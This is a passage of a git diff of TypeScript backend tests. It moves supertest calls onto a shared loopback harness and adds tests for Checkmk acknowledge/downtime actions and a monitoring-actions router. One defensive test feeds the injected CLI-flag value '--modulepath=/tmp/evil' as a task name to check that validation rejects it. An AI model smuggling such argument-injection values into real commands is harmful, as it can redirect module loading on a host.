process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("B1: TaskNameSchema rejects CLI-flag-shaped task names", () => { it("rejects '--modulepath=/tmp/evil'", () => { expect(TaskNameSchema.safeParse("--modulepath=/tmp/evil").success).toBe(false); @@ -211,12 +226,12 @@ describe("A2: DELETE /api/inventory/:id requires the lifecycle bearer", () => { it("returns 401 when no Authorization header is present", async () => { const app = buildApp(LIFECYCLE_TOKEN); - await request(app).delete("/api/inventory/some-node-id").expect(401); + await request(harness.use(app)).delete("/api/inventory/some-node-id").expect(401); }); it("returns 401 when the bearer token is wrong", async () => { const app = buildApp(LIFECYCLE_TOKEN); - await request(app) + await request(harness.use(app)) .delete("/api/inventory/some-node-id") .set("Authorization", "Bearer wrong-token-32chars-padded-xx-xx") .expect(401); @@ -224,7 +239,7 @@ describe("A2: DELETE /api/inventory/:id requires the lifecycle bearer", () => { it("returns 500 (misconfigured) when no lifecycle token is configured", async () => { const app = buildApp(""); - await request(app) + await request(harness.use(app)) .delete("/api/inventory/some-node-id") .set("Authorization", `Bearer ${LIFECYCLE_TOKEN}`) .expect(500); @@ -232,7 +247,7 @@ describe("A2: DELETE /api/inventory/:id requires the lifecycle bearer", () => { it("returns 403 when destructive actions are disabled by config", async () => { const app = buildApp(LIFECYCLE_TOKEN, false); - await request(app) + await request(harness.use(app)) .delete("/api/inventory/some-node-id") .set("Authorization", `Bearer ${LIFECYCLE_TOKEN}`) .expect(403); @@ -270,10 +285,10 @@ describe("C3: POST /api/setup/initialize is idempotent against TOCTOU", () => { defaultNewUserRole: null, }; - await request(app).post("/api/setup/initialize").send(payload).expect(201); + await request(harness.use(app)).post("/api/setup/initialize").send(payload).expect(201); // Second call with a different proposed admin: rejected because setup is complete. - const second = await request(app) + const second = await request(harness.use(app)) .post("/api/setup/initialize") .send({ ...payload, username: "admin2", email: "admin2@example.com" }); expect(second.status).toBe(409); @@ -313,7 +328,7 @@ describe("C7: 5 wrong currentPassword on /change-password locks the account", () app.use("/api/auth", createAuthRouter(databaseService)); // Register + login to obtain an access token - await request(app) + await request(harness.use(app)) .post("/api/auth/register") .send({ username, @@ -324,7 +339,7 @@ describe("C7: 5 wrong currentPassword on /change-password locks the account", () }) .expect(201); - const login = await request(app) + const login = await request(harness.use(app)) .post("/api/auth/login") .send({ username, password: correctPassword }) .expect(200); @@ -344,7 +359,7 @@ describe("C7: 5 wrong currentPassword on /change-password locks the account", () it("locks the account after 5 wrong currentPassword attempts", async () => { for (let i = 0; i < 4; i++) { - const r = await request(app) + const r = await request(harness.use(app)) .post("/api/auth/change-password") .set("Authorization", `Bearer ${accessToken}`) .send({ @@ -356,7 +371,7 @@ describe("C7: 5 wrong currentPassword on /change-password locks the account", () } // 5th wrong attempt: pipeline applies temporary lockout, returns 423 - const fifth = await request(app) + const fifth = await request(harness.use(app)) .post("/api/auth/change-password") .set("Authorization", `Bearer ${accessToken}`) .send({ @@ -367,7 +382,7 @@ describe("C7: 5 wrong currentPassword on /change-password locks the account", () expect(fifth.body.error.code).toBe("ACCOUNT_LOCKED"); // Authenticate is also blocked while locked - const blocked = await request(app) + const blocked = await request(harness.use(app)) .post("/api/auth/login") .send({ username, password: correctPassword }); expect(blocked.status).toBe(401); diff --git a/backend/test/unit/CheckmkService.writeActions.test.ts b/backend/test/unit/CheckmkService.writeActions.test.ts new file mode 100644 index 00000000..f9e273e3 --- /dev/null +++ b/backend/test/unit/CheckmkService.writeActions.test.ts @@ -0,0 +1,159 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import type { CheckmkConfig } from "../../src/integrations/checkmk/types"; +import type { LoggerService } from "../../src/services/LoggerService"; + +/** + * Unit tests for CheckmkService write actions (acknowledge / downtime). + * + * The Checkmk REST API answers these POSTs with `204 No Content` (empty body). + * These tests verify that: + * - an empty 204 body resolves as success (not a JSON parse error), + * - the request method, path, and JSON body match the Checkmk REST contract, + * - an HTTP error from Checkmk surfaces as `{ success: false }`. + */ + +interface CapturedRequest { + options: { method?: string; path?: string }; + body: string; +} + +let captured: CapturedRequest[] = []; +let mockStatusCode = 204; +let mockBody = ""; + +vi.mock("node:https", () => { + const Agent = vi.fn(); + const request = ( + options: Record, + callback?: (res: unknown) => void, + ): unknown => { + const entry: CapturedRequest = { options: options as CapturedRequest["options"], body: "" }; + captured.push(entry); + + const mockRes = { + statusCode: mockStatusCode, + on: (event: string, handler: (data?: unknown) => void) => { + if (event === "data" && mockBody) handler(Buffer.from(mockBody)); + if (event === "end") handler(); + return mockRes; + }, + }; + if (callback) process.nextTick(() => { callback(mockRes); }); + + const req = { + on: () => req, + write: (payload: string) => { entry.body = payload; }, + end: () => {}, + destroy: () => {}, + }; + return req; + }; + return { default: { request, Agent }, Agent, request }; +}); + +function createMockLogger(): LoggerService { + return { + debug: vi.fn(), + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + child: vi.fn(), + setLevel: vi.fn(), + } as unknown as LoggerService; +} + +function createConfig(): CheckmkConfig { + return { + enabled: true, + serverUrl: "https://monitoring.example.com", + site: "mysite", + username: "automation", + password: "secret", // pragma: allowlist secret + sslVerify: true, + healthCheckIntervalMs: 300_000, + }; +} + +describe("CheckmkService write actions", () => { + beforeEach(() => { + captured = []; + mockStatusCode = 204; + mockBody = ""; + }); + + it("acknowledgeServiceProblem posts the correct contract and treats 204 as success", async () => { + const { CheckmkService } = await import("../../src/integrations/checkmk/CheckmkService"); + const service = new CheckmkService(createConfig(), createMockLogger()); + + const result = await service.acknowledgeServiceProblem({ + hostname: "web01", + serviceDescription: "CPU load", + comment: "investigating", + sticky: true, + persistent: false, + notify: true, + }); + + expect(result.success).toBe(true); + expect(captured).toHaveLength(1); + expect(captured[0].options.method).toBe("POST"); + expect(captured[0].options.path).toContain( + "/check_mk/api/1.0/domain-types/acknowledge/collections/service", + ); + expect(JSON.parse(captured[0].body)).toEqual({ + acknowledge_type: "service", + sticky: true, + persistent: false, + notify: true, + comment: "investigating", + host_name: "web01", + service_description: "CPU load", + }); + }); + + it("scheduleServiceDowntime posts the correct contract and treats 204 as success", async () => { + const { CheckmkService } = await import("../../src/integrations/checkmk/CheckmkService"); + const service = new CheckmkService(createConfig(), createMockLogger()); + + const result = await service.scheduleServiceDowntime({ + hostname: "web01", + serviceDescription: "CPU load", + comment: "maintenance", + startTime: "2026-01-01T00:00:00.000Z", + endTime: "2026-01-01T02:00:00.000Z", + }); + + expect(result.success).toBe(true); + expect(captured[0].options.method).toBe("POST"); + expect(captured[0].options.path).toContain( + "/check_mk/api/1.0/domain-types/downtime/collections/service", + ); + expect(JSON.parse(captured[0].body)).toEqual({ + downtime_type: "service", + start_time: "2026-01-01T00:00:00.000Z", + end_time: "2026-01-01T02:00:00.000Z", + comment: "maintenance", + host_name: "web01", + service_descriptions: ["CPU load"], + }); + }); + + it("returns success:false with the error message on an HTTP error response", async () => { + mockStatusCode = 403; + mockBody = "Forbidden"; + const { CheckmkService } = await import("../../src/integrations/checkmk/CheckmkService"); + const service = new CheckmkService(createConfig(), createMockLogger()); + + const result = await service.acknowledgeServiceProblem({ + hostname: "web01", + serviceDescription: "CPU load", + comment: "investigating", + sticky: true, + persistent: false, + notify: true, + }); + + expect(result.success).toBe(false); + expect(result.error).toContain("403"); + }); +}); diff --git a/backend/test/unit/error-handling.test.ts b/backend/test/unit/error-handling.test.ts index 695d4294..7a5bf07e 100644 --- a/backend/test/unit/error-handling.test.ts +++ b/backend/test/unit/error-handling.test.ts @@ -1,6 +1,7 @@ -import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { describe, it, expect, beforeEach, afterEach, beforeAll, afterAll } from "vitest"; import express, { Express } from "express"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import { createAuthRouter } from "../../src/routes/auth"; import { createUsersRouter } from "../../src/routes/users"; import { DatabaseService } from "../../src/database/DatabaseService"; @@ -23,6 +24,20 @@ import { initializeTestSchema } from "../helpers/schema"; * - 16.6: Duplicate username/email error messages (409) * - 16.7: Error logging with sufficient detail */ +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("Error Handling - Unit Tests", () => { let app: Express; let databaseService: DatabaseService; @@ -64,7 +79,7 @@ describe("Error Handling - Unit Tests", () => { describe("Requirement 16.1: Authentication Failures (401)", () => { it("should return 401 with clear error message for invalid credentials", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/login") .send({ username: "testuser", @@ -81,7 +96,7 @@ describe("Error Handling - Unit Tests", () => { }); it("should return 401 for non-existent username without revealing it", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/login") .send({ username: "nonexistentuser", @@ -115,7 +130,7 @@ describe("Error Handling - Unit Tests", () => { ] ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/login") .send({ username: "inactiveuser", @@ -128,7 +143,7 @@ describe("Error Handling - Unit Tests", () => { }); it("should return 401 with missing authorization header", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/users") .expect(401); @@ -137,7 +152,7 @@ describe("Error Handling - Unit Tests", () => { }); it("should return 401 with invalid authorization header format", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/users") .set("Authorization", "Basic sometoken") .expect(401); @@ -152,7 +167,7 @@ describe("Error Handling - Unit Tests", () => { describe("Requirement 16.2: Authorization Failures (403)", () => { it("should return 401 when user is not authenticated for protected endpoint", async () => { // Without authentication, should get 401 before authorization check - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${randomUUID()}`) .expect(401); @@ -162,7 +177,7 @@ describe("Error Handling - Unit Tests", () => { it("should include error structure for authorization failures", async () => { // Login as regular user - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post("/api/auth/login") .send({ username: "testuser", @@ -172,7 +187,7 @@ describe("Error Handling - Unit Tests", () => { const token = loginResponse.body.token; // Try to access endpoint (will fail at auth or authz level) - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${randomUUID()}`) .set("Authorization", `Bearer ${token}`); @@ -190,7 +205,7 @@ describe("Error Handling - Unit Tests", () => { }); it("should return proper error format for insufficient permissions", async () => { - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post("/api/auth/login") .send({ username: "testuser", @@ -199,7 +214,7 @@ describe("Error Handling - Unit Tests", () => { const token = loginResponse.body.token; - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/users/${randomUUID()}`) .set("Authorization", `Bearer ${token}`) .send({ firstName: "Updated" }); @@ -216,7 +231,7 @@ describe("Error Handling - Unit Tests", () => { // Close the database to simulate connection failure await databaseService.close(); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/login") .send({ username: "testuser", @@ -243,7 +258,7 @@ describe("Error Handling - Unit Tests", () => { badApp.use(express.json()); badApp.use("/api/auth", createAuthRouter(badDatabaseService)); - const response = await request(badApp) + const response = await request(harness.use(badApp)) .post("/api/auth/login") .send({ username: "testuser", @@ -275,7 +290,7 @@ describe("Error Handling - Unit Tests", () => { { algorithm: "HS256" } ); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/users") .set("Authorization", `Bearer ${expiredToken}`) .expect(401); @@ -298,7 +313,7 @@ describe("Error Handling - Unit Tests", () => { { algorithm: "HS256" } ); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/users") .set("Authorization", `Bearer ${expiredToken}`) .expect(401); @@ -310,7 +325,7 @@ describe("Error Handling - Unit Tests", () => { it("should return 401 for revoked token", async () => { // First register a user - await request(app) + await request(harness.use(app)) .post("/api/auth/register") .send({ username: "testuser", @@ -321,7 +336,7 @@ describe("Error Handling - Unit Tests", () => { }); // Login to get valid token - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post("/api/auth/login") .send({ username: "testuser", @@ -334,7 +349,7 @@ describe("Error Handling - Unit Tests", () => { await authService.revokeToken(token); // Try to use revoked token - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/users") .set("Authorization", `Bearer ${token}`) .expect(401); @@ -346,7 +361,7 @@ describe("Error Handling - Unit Tests", () => { describe("Requirement 16.5: Input Validation Failures (400)", () => { it("should return 400 with validation details for invalid input", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/register") .send({ username: "ab", // Too short @@ -364,7 +379,7 @@ describe("Error Handling - Unit Tests", () => { }); it("should include field path in validation error details", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/register") .send({ username: "ab", @@ -386,7 +401,7 @@ describe("Error Handling - Unit Tests", () => { }); it("should return 400 for password complexity violations", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/register") .send({ username: "testuser2", @@ -408,7 +423,7 @@ describe("Error Handling - Unit Tests", () => { }); it("should return 400 for invalid email format", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/register") .send({ username: "testuser3", @@ -430,7 +445,7 @@ describe("Error Handling - Unit Tests", () => { }); it("should return 400 for missing required fields", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/register") .send({ username: "testuser4", @@ -443,7 +458,7 @@ describe("Error Handling - Unit Tests", () => { }); it("should provide clear validation error messages", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/register") .send({ username: "a", // Too short @@ -465,7 +480,7 @@ describe("Error Handling - Unit Tests", () => { describe("Requirement 16.6: Duplicate Username/Email (409)", () => { it("should return 409 for duplicate username", async () => { // First registration succeeds - await request(app) + await request(harness.use(app)) .post("/api/auth/register") .send({ username: "duplicateuser", @@ -477,7 +492,7 @@ describe("Error Handling - Unit Tests", () => { .expect(201); // Second registration with same username fails - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/register") .send({ username: "duplicateuser", @@ -495,7 +510,7 @@ describe("Error Handling - Unit Tests", () => { it("should return 409 for duplicate email", async () => { // First registration succeeds - await request(app) + await request(harness.use(app)) .post("/api/auth/register") .send({ username: "user1", @@ -507,7 +522,7 @@ describe("Error Handling - Unit Tests", () => { .expect(201); // Second registration with same email fails - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/register") .send({ username: "user2", @@ -524,7 +539,7 @@ describe("Error Handling - Unit Tests", () => { }); it("should specify which field conflicts in 409 error", async () => { - await request(app) + await request(harness.use(app)) .post("/api/auth/register") .send({ username: "conflictuser", @@ -535,7 +550,7 @@ describe("Error Handling - Unit Tests", () => { }) .expect(201); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/register") .send({ username: "conflictuser", @@ -553,7 +568,7 @@ describe("Error Handling - Unit Tests", () => { describe("Requirement 16.7: Error Logging", () => { it("should return proper error structure for authentication failures", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/login") .send({ username: "testuser", @@ -570,14 +585,14 @@ describe("Error Handling - Unit Tests", () => { }); it("should return proper error structure for authorization failures", async () => { - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post("/api/auth/login") .send({ username: "testuser", password: "Password123!", }); - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${randomUUID()}`) .set("Authorization", `Bearer ${loginResponse.body.token}`); @@ -591,7 +606,7 @@ describe("Error Handling - Unit Tests", () => { // Close database to trigger error await databaseService.close(); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/login") .send({ username: "testuser", @@ -618,7 +633,7 @@ describe("Error Handling - Unit Tests", () => { throw new Error("Unexpected error"); }); - const response = await request(brokenApp) + const response = await request(harness.use(brokenApp)) .post("/api/auth/login") .send({ username: "testuser", @@ -631,7 +646,7 @@ describe("Error Handling - Unit Tests", () => { }); it("should not expose sensitive information in error messages", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/login") .send({ username: "testuser", @@ -646,7 +661,7 @@ describe("Error Handling - Unit Tests", () => { }); it("should handle malformed JSON with proper error", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/auth/login") .set("Content-Type", "application/json") .send("{ invalid json"); diff --git a/backend/test/unit/monitoring.routes.test.ts b/backend/test/unit/monitoring.routes.test.ts index 22ea1acd..8c1a2043 100644 --- a/backend/test/unit/monitoring.routes.test.ts +++ b/backend/test/unit/monitoring.routes.test.ts @@ -1,6 +1,7 @@ import express, { type Express } from "express"; import request from "supertest"; -import { describe, it, expect, beforeEach, vi } from "vitest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; +import { describe, it, expect, beforeEach, vi, beforeAll, afterAll } from "vitest"; import { createMonitoringRouter } from "../../src/routes/integrations/monitoring"; import type { IntegrationManager } from "../../src/integrations/IntegrationManager"; import type { CheckmkPlugin } from "../../src/integrations/checkmk/CheckmkPlugin"; @@ -87,6 +88,20 @@ function buildApp( return app; } +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("Monitoring Router", () => { let app: Express; let mockPlugin: CheckmkPlugin; @@ -103,7 +118,7 @@ describe("Monitoring Router", () => { const mgr = createMockIntegrationManager(null); const testApp = buildApp(mgr); - const response = await request(testApp).get("/api/nodes/webserver01/services"); + const response = await request(harness.use(testApp)).get("/api/nodes/webserver01/services"); expect(response.status).toBe(503); expect(response.body.error.code).toBe("CHECKMK_NOT_CONFIGURED"); @@ -117,7 +132,7 @@ describe("Monitoring Router", () => { const mgr = createMockIntegrationManager(uninitPlugin); const testApp = buildApp(mgr); - const response = await request(testApp).get("/api/nodes/webserver01/services"); + const response = await request(harness.use(testApp)).get("/api/nodes/webserver01/services"); expect(response.status).toBe(503); expect(response.body.error.code).toBe("CHECKMK_NOT_CONFIGURED"); @@ -126,7 +141,7 @@ describe("Monitoring Router", () => { it("returns 200 with empty array when node is unknown (no inventory cross-check)", async () => { (mockPlugin.getNodeData as ReturnType).mockResolvedValue([]); - const response = await request(app).get("/api/nodes/unknownhost/services"); + const response = await request(harness.use(app)).get("/api/nodes/unknownhost/services"); expect(response.status).toBe(200); expect(response.body).toEqual([]); @@ -136,7 +151,7 @@ describe("Monitoring Router", () => { (mockPlugin.getNodeData as ReturnType).mockResolvedValue([]); // Different case — but no cross-check anymore, just returns [] - const response = await request(app).get("/api/nodes/webserver01/services"); + const response = await request(harness.use(app)).get("/api/nodes/webserver01/services"); expect(response.status).toBe(200); expect(response.body).toEqual([]); @@ -147,7 +162,7 @@ describe("Monitoring Router", () => { new Error("Connection refused"), ); - const response = await request(app).get("/api/nodes/webserver01/services"); + const response = await request(harness.use(app)).get("/api/nodes/webserver01/services"); expect(response.status).toBe(502); expect(response.body.error.code).toBe("UPSTREAM_ERROR"); @@ -161,7 +176,7 @@ describe("Monitoring Router", () => { }), ); - const response = await request(app).get("/api/nodes/webserver01/services"); + const response = await request(harness.use(app)).get("/api/nodes/webserver01/services"); expect(response.status).toBe(502); expect(response.body.error.code).toBe("UPSTREAM_ERROR"); @@ -191,7 +206,7 @@ describe("Monitoring Router", () => { ]; (mockPlugin.getNodeData as ReturnType).mockResolvedValue(services); - const response = await request(app).get("/api/nodes/webserver01/services"); + const response = await request(harness.use(app)).get("/api/nodes/webserver01/services"); expect(response.status).toBe(200); expect(response.body).toEqual(services); @@ -206,7 +221,7 @@ describe("Monitoring Router", () => { { id: "webserver01", name: "webserver01" }, ]); - const response = await request(app).get("/api/nodes/webserver01/services"); + const response = await request(harness.use(app)).get("/api/nodes/webserver01/services"); expect(response.status).toBe(200); expect(response.body).toEqual([]); @@ -218,7 +233,7 @@ describe("Monitoring Router", () => { const mgr = createMockIntegrationManager(null); const testApp = buildApp(mgr); - const response = await request(testApp).get( + const response = await request(harness.use(testApp)).get( "/api/nodes/webserver01/monitoring-events", ); @@ -229,7 +244,7 @@ describe("Monitoring Router", () => { it("returns 200 with empty array when node is unknown (no inventory cross-check)", async () => { (mockPlugin.getNodeData as ReturnType).mockResolvedValue([]); - const response = await request(app).get( + const response = await request(harness.use(app)).get( "/api/nodes/unknownhost/monitoring-events", ); @@ -242,7 +257,7 @@ describe("Monitoring Router", () => { new Error("ECONNREFUSED"), ); - const response = await request(app).get( + const response = await request(harness.use(app)).get( "/api/nodes/webserver01/monitoring-events", ); @@ -270,7 +285,7 @@ describe("Monitoring Router", () => { ]; (mockPlugin.getNodeData as ReturnType).mockResolvedValue(events); - const response = await request(app).get( + const response = await request(harness.use(app)).get( "/api/nodes/webserver01/monitoring-events", ); @@ -293,7 +308,7 @@ describe("Monitoring Router", () => { })); (mockPlugin.getNodeData as ReturnType).mockResolvedValue(events); - const response = await request(app).get( + const response = await request(harness.use(app)).get( "/api/nodes/webserver01/monitoring-events?limit=3", ); @@ -308,7 +323,7 @@ describe("Monitoring Router", () => { })); (mockPlugin.getNodeData as ReturnType).mockResolvedValue(events); - const response = await request(app).get( + const response = await request(harness.use(app)).get( "/api/nodes/webserver01/monitoring-events", ); @@ -317,7 +332,7 @@ describe("Monitoring Router", () => { }); it("returns 400 for invalid limit (out of range)", async () => { - const response = await request(app).get( + const response = await request(harness.use(app)).get( "/api/nodes/webserver01/monitoring-events?limit=0", ); @@ -326,7 +341,7 @@ describe("Monitoring Router", () => { }); it("returns 400 for limit exceeding 1000", async () => { - const response = await request(app).get( + const response = await request(harness.use(app)).get( "/api/nodes/webserver01/monitoring-events?limit=1001", ); @@ -335,7 +350,7 @@ describe("Monitoring Router", () => { }); it("returns 400 for non-numeric limit", async () => { - const response = await request(app).get( + const response = await request(harness.use(app)).get( "/api/nodes/webserver01/monitoring-events?limit=abc", ); diff --git a/backend/test/unit/monitoringActions.routes.test.ts b/backend/test/unit/monitoringActions.routes.test.ts new file mode 100644 index 00000000..78f2fa0e --- /dev/null +++ b/backend/test/unit/monitoringActions.routes.test.ts @@ -0,0 +1,224 @@ +import express, { type Express, type Request, type Response, type NextFunction } from "express"; +import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; +import { describe, it, expect, beforeEach, vi, beforeAll, afterAll } from "vitest"; +import { createMonitoringActionsRouter } from "../../src/routes/integrations/monitoringActions"; +import type { IntegrationManager } from "../../src/integrations/IntegrationManager"; +import type { CheckmkPlugin } from "../../src/integrations/checkmk/CheckmkPlugin"; +import type { DatabaseService } from "../../src/database/DatabaseService"; +import type { DIContainer } from "../../src/container/DIContainer"; + +/** + * Unit tests for the Checkmk monitoring action router (write operations). + * + * Auth/RBAC middleware is applied at the mount level in server.ts and is not + * exercised here. These tests cover the router's own logic: configuration + * gating (503), request validation (400), upstream success (200), upstream + * failure (502), and that successful actions are recorded in the audit log. + */ + +function createMockLogger() { + return { info: vi.fn(), warn: vi.fn(), error: vi.fn(), debug: vi.fn() }; +} + +function createMockContainer(): DIContainer { + const logger = createMockLogger(); + return { + resolve: vi.fn((key: string) => { + if (key === "logger") return logger; + throw new Error(`Unknown service: ${key}`); + }), + register: vi.fn(), + has: vi.fn().mockReturnValue(true), + } as unknown as DIContainer; +} + +const auditExecute = vi.fn().mockResolvedValue(undefined); + +function createMockDatabaseService(): DatabaseService { + return { + getAdapter: vi.fn().mockReturnValue({ execute: auditExecute }), + } as unknown as DatabaseService; +} + +function createMockPlugin(overrides: Partial = {}): CheckmkPlugin { + return { + isInitialized: vi.fn().mockReturnValue(true), + acknowledgeServiceProblem: vi.fn().mockResolvedValue({ success: true }), + scheduleServiceDowntime: vi.fn().mockResolvedValue({ success: true }), + ...overrides, + } as unknown as CheckmkPlugin; +} + +function createMockIntegrationManager( + plugin: CheckmkPlugin | null = null, +): IntegrationManager { + return { + getInformationSource: vi.fn().mockReturnValue(plugin), + } as unknown as IntegrationManager; +} + +function buildApp( + integrationManager: IntegrationManager, + withUser = false, +): Express { + const app = express(); + app.use(express.json()); + if (withUser) { + app.use((req: Request, _res: Response, next: NextFunction) => { + req.user = { + userId: "user-123", + username: "operator", + roles: ["operator"], + iat: 0, + exp: 0, + }; + next(); + }); + } + app.use( + "/api/monitoring", + createMonitoringActionsRouter( + integrationManager, + createMockDatabaseService(), + createMockContainer(), + ), + ); + return app; +} + +const VALID_ACK = { + hostname: "web01", + serviceDescription: "CPU load", + comment: "investigating", +}; + +const VALID_DOWNTIME = { + hostname: "web01", + serviceDescription: "CPU load", + comment: "maintenance", + startTime: "2026-01-01T00:00:00.000Z", + endTime: "2026-01-01T02:00:00.000Z", +}; + +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + +describe("Monitoring Actions Router", () => { + let mockPlugin: CheckmkPlugin; + let app: Express; + + beforeEach(() => { + auditExecute.mockClear(); + mockPlugin = createMockPlugin(); + app = buildApp(createMockIntegrationManager(mockPlugin)); + }); + + describe("POST /api/monitoring/acknowledge", () => { + it("returns 503 when plugin is not configured", async () => { + const testApp = buildApp(createMockIntegrationManager(null)); + const res = await request(harness.use(testApp)).post("/api/monitoring/acknowledge").send(VALID_ACK); + expect(res.status).toBe(503); + expect(res.body.error.code).toBe("CHECKMK_NOT_CONFIGURED"); + }); + + it("returns 400 when comment is missing", async () => { + const res = await request(harness.use(app)) + .post("/api/monitoring/acknowledge") + .send({ hostname: "web01", serviceDescription: "CPU load" }); + expect(res.status).toBe(400); + expect(res.body.error.code).toBe("INVALID_REQUEST"); + }); + + it("acknowledges with default sticky/notify and returns 200", async () => { + const res = await request(harness.use(app)).post("/api/monitoring/acknowledge").send(VALID_ACK); + expect(res.status).toBe(200); + expect(res.body.success).toBe(true); + expect(mockPlugin.acknowledgeServiceProblem).toHaveBeenCalledWith({ + hostname: "web01", + serviceDescription: "CPU load", + comment: "investigating", + sticky: true, + persistent: false, + notify: true, + }); + }); + + it("returns 502 when the upstream acknowledge fails", async () => { + const failingPlugin = createMockPlugin({ + acknowledgeServiceProblem: vi + .fn() + .mockResolvedValue({ success: false, error: "403 Forbidden" }), + }); + const testApp = buildApp(createMockIntegrationManager(failingPlugin)); + const res = await request(harness.use(testApp)).post("/api/monitoring/acknowledge").send(VALID_ACK); + expect(res.status).toBe(502); + expect(res.body.error.code).toBe("UPSTREAM_ERROR"); + }); + + it("writes an audit log entry on success when a user is present", async () => { + const testApp = buildApp(createMockIntegrationManager(mockPlugin), true); + const res = await request(harness.use(testApp)).post("/api/monitoring/acknowledge").send(VALID_ACK); + expect(res.status).toBe(200); + expect(auditExecute).toHaveBeenCalledTimes(1); + }); + }); + + describe("POST /api/monitoring/downtime", () => { + it("schedules a downtime and returns 200", async () => { + const res = await request(harness.use(app)).post("/api/monitoring/downtime").send(VALID_DOWNTIME); + expect(res.status).toBe(200); + expect(res.body.success).toBe(true); + expect(mockPlugin.scheduleServiceDowntime).toHaveBeenCalledWith({ + hostname: "web01", + serviceDescription: "CPU load", + comment: "maintenance", + startTime: "2026-01-01T00:00:00.000Z", + endTime: "2026-01-01T02:00:00.000Z", + }); + }); + + it("returns 400 when endTime is not after startTime", async () => { + const res = await request(harness.use(app)) + .post("/api/monitoring/downtime") + .send({ ...VALID_DOWNTIME, endTime: "2025-12-31T23:00:00.000Z" }); + expect(res.status).toBe(400); + expect(res.body.error.code).toBe("INVALID_REQUEST"); + }); + + it("returns 400 when the window exceeds 7 days", async () => { + const res = await request(harness.use(app)) + .post("/api/monitoring/downtime") + .send({ + ...VALID_DOWNTIME, + startTime: "2026-01-01T00:00:00.000Z", + endTime: "2026-01-09T00:00:00.000Z", + }); + expect(res.status).toBe(400); + expect(res.body.error.code).toBe("INVALID_REQUEST"); + }); + + it("returns 502 when the upstream downtime call fails", async () => { + const failingPlugin = createMockPlugin({ + scheduleServiceDowntime: vi + .fn() + .mockResolvedValue({ success: false, error: "timeout" }), + }); + const testApp = buildApp(createMockIntegrationManager(failingPlugin)); + const res = await request(harness.use(testApp)).post("/api/monitoring/downtime").send(VALID_DOWNTIME); + expect(res.status).toBe(502); + expect(res.body.error.code).toBe("UPSTREAM_ERROR"); + }); + }); +}); diff --git a/backend/test/unit/services/EntraIdService.test.ts b/backend/test/unit/services/EntraIdService.test.ts new file mode 100644 index 00000000..8615b240 --- /dev/null +++ b/backend/test/unit/services/EntraIdService.test.ts @@ -0,0 +1,656 @@ +/** + * Unit tests for EntraIdService — authorization URL generation, state cleanup, + * and provider info. + */ + +import { describe, it, expect, beforeEach, vi } from 'vitest'; +import { EntraIdService, EntraIdError, ENTRA_ID_ERROR_CODES } from '../../../src/services/EntraIdService'; +import type { IdTokenClaims } from '../../../src/services/EntraIdService'; +import type { DatabaseAdapter } from '../../../src/database/DatabaseAdapter'; +import type { EntraIdConfig } from '../../../src/config/schema'; +import type { AuthenticationService } from '../../../src/services/AuthenticationService'; +import type { UserService, User } from '../../../src/services/UserService'; +import type { RoleService } from '../../../src/services/RoleService'; +import type { AuditLoggingService } from '../../../src/services/AuditLoggingService'; +import type { LoggerService } from '../../../src/services/LoggerService'; + +function createMockDb(): DatabaseAdapter { + return { + query: vi.fn().mockResolvedValue([]), + queryOne: vi.fn().mockResolvedValue(null), + execute: vi.fn().mockResolvedValue({ changes: 0 }), + beginTransaction: 